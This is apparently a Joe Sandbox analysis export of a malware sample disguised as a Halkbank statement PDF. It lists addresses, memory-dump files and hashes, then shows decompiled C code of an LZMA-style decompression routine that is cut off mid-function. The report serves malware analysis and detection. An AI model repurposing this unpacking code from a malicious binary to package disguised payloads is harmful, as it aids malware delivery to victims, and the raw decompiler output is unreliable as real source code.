0x00407458
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407543
0x00407546
0x00407447
0x00407447
0x00407447
0x00000000
0x0040744d
0x00000000
0x0040717d
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x0040749d
0x00000000
0x00000000
0x00000000
0x004071c2
0x004071c2
0x004071c5
0x004071fb
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x004075bd
0x00000000
0x004075bd
0x00407339
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725b
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004074c7
0x00407490

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407395 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407395() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
